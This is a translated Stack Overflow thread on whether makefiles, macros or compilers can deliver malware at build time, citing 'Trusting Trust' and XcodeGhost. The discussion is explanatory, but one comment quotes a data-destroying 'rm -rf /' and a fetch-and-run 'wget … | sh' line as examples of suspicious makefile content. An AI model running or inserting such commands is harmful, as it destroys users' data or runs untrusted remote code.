【问题标题】:Compile time malware possible?编译时恶意软件可能吗?
【发布时间】:2014-08-09 09:48:41
【问题描述】:

假设开源程序可以在编译时安装恶意软件吗?我正在考虑将在编译时执行邪恶代码的 C 宏或 makefile 相关的东西。或者,只要我不开始运行已编译的程序,我就安全?

【问题讨论】:

  • 从技术上讲,make 文件在构建目标时可以运行它有权执行的任何命令,但考虑到任何人都可以打开 Makefile 来查看它在做什么,这将是一种奇怪且毫无意义的恶意软件传递方式。
  • C 宏不能修改任何东西。
  • @Linuxios 这比最初以源代码形式分发恶意软件更没有意义,因为任何人都可以打开源代码来查看它在做什么?
  • @Barmar:因为至少在源代码中,您可能必须在数千行代码中找到它,而某些内容可能并不明显。 Makefiles 很短,并且只能使用已安装的命令和程序,如果您已经安装了恶意软件,那有什么意义,如果您还没有,很明显 rm -rf / 或 wget some.weird.address | sh (这不是真正的命令,但无论如何)不属于生成文件。

标签: c compilation malware


【解决方案1】:

不仅可以在编译时配置或制作脚本来安装恶意代码,而且可以修改编译器或构建工具以将后门或其他恶意代码注入编译的二进制文件。也就是说,即使您正在构建的代码看起来很干净,构建工具也可能“流氓”并引入恶意代码。

恶意编译器的概念在一篇名为“对信任信任的反思”[1] 的论文中很有名。最近,在 iOS 应用程序中发现了恶意软件,该恶意软件通过攻击开发人员的编译器 (Xcode) [2] 使用这种技术注入。

底线:除非您已经编写或审查了您正在构建的项目中的每一行代码、您用来构建它的工具以及您正在构建它的操作系统/固件开,你不能完全相信它。

[1]https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf

[2]http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/

【讨论】:

    【解决方案2】:

    请考虑 makefile 本质上只是要运行的命令列表。因此,以您可以在 makefile 项目中分发恶意软件源代码的想法为例。然后,当您构建项目时,makefile 开始编译恶意软件……最后,执行新编译的恶意软件——例如假装对您认为不是恶意软件的内容运行单元测试。

    这当然是可能的。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2017-05-14
      • 2019-01-10
      • 2014-03-16
      • 2013-12-15
      • 2021-05-17
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多